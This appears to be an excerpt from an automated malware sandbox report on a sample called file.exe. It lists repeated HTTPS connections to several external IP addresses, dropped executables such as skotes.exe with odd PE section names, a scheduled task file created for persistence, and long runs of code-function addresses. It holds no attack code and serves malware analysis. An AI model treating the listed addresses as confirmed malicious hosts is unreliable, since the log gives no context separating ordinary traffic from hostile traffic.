Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61454
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.50.98.133:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.50.98.133:443 -> 192.168.2.6:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.6:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.79.150.121:443 -> 192.168.2.6:61383 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:61397 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:61454 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: section name:
Source: DocumentsECBGHCGCBK.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: 28d9ab8742.exe.24.dr	Static PE information: section name:
Source: 28d9ab8742.exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: 3daf81f16e.exe.24.dr	Static PE information: section name:
Source: 3daf81f16e.exe.24.dr	Static PE information: section name: .rsrc
Source: 3daf81f16e.exe.24.dr	Static PE information: section name: .idata
Source: 3daf81f16e.exe.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: be33d1b9ea.exe.24.dr	Static PE information: section name:
Source: be33d1b9ea.exe.24.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB3B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB3B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB3B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CADF280

Source: C:\Users\user\DocumentsECBGHCGCBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD35A0	0_2_6CAD35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB334A0	0_2_6CB334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C4A0	0_2_6CB3C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C80	0_2_6CAE6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB16CF0	0_2_6CB16CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD4E0	0_2_6CADD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE64C0	0_2_6CAE64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD4D0	0_2_6CAFD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4542B	0_2_6CB4542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15C10	0_2_6CB15C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22C10	0_2_6CB22C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4AC00	0_2_6CB4AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4545C	0_2_6CB4545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5440	0_2_6CAE5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB385F0	0_2_6CB385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10DD0	0_2_6CB10DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00512	0_2_6CB00512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEFD00	0_2_6CAEFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFED10	0_2_6CAFED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB34EA0	0_2_6CB34EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3E680	0_2_6CB3E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5E90	0_2_6CAF5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB476E3	0_2_6CB476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADBEF0	0_2_6CADBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEFEF0	0_2_6CAEFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB39E30	0_2_6CB39E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB17E10	0_2_6CB17E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB25600	0_2_6CB25600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46E63	0_2_6CB46E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC670	0_2_6CADC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB13E50	0_2_6CB13E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4640	0_2_6CAF4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22E4E	0_2_6CB22E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9E50	0_2_6CAF9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB277A0	0_2_6CB277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06FF0	0_2_6CB06FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADDFE0	0_2_6CADDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB17710	0_2_6CB17710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE9F00	0_2_6CAE9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB060A0	0_2_6CB060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC0E0	0_2_6CAFC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB158E0	0_2_6CB158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB450C7	0_2_6CB450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B820	0_2_6CB1B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB24820	0_2_6CB24820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE7810	0_2_6CAE7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1F070	0_2_6CB1F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8850	0_2_6CAF8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD850	0_2_6CAFD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0D9B0	0_2_6CB0D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC9A0	0_2_6CADC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15190	0_2_6CB15190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB32990	0_2_6CB32990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B970	0_2_6CB2B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B170	0_2_6CB4B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED960	0_2_6CAED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFA940	0_2_6CAFA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB42AB0	0_2_6CB42AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD22A0	0_2_6CAD22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04AA0	0_2_6CB04AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAECAB0	0_2_6CAECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4BA90	0_2_6CB4BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1E2F0	0_2_6CB1E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF1AF0	0_2_6CAF1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB18AC0	0_2_6CB18AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB19A60	0_2_6CB19A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF380	0_2_6CADF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB453C8	0_2_6CB453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1D320	0_2_6CB1D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC370	0_2_6CAEC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5340	0_2_6CAD5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDECD0	0_2_6CBDECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7ECC0	0_2_6CB7ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC46C00	0_2_6CC46C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8AC60	0_2_6CB8AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5AC30	0_2_6CC5AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB84DB0	0_2_6CB84DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0CDC0	0_2_6CD0CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC16D90	0_2_6CC16D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAAD50	0_2_6CCAAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4ED70	0_2_6CC4ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD08D20	0_2_6CD08D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20EC0	0_2_6CC20EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC06E90	0_2_6CC06E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8AEC0	0_2_6CB8AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1EE70	0_2_6CC1EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC60E20	0_2_6CC60E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8EFB0	0_2_6CB8EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5EFF0	0_2_6CC5EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB80FE0	0_2_6CB80FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC8FB0	0_2_6CCC8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB86F10	0_2_6CB86F10
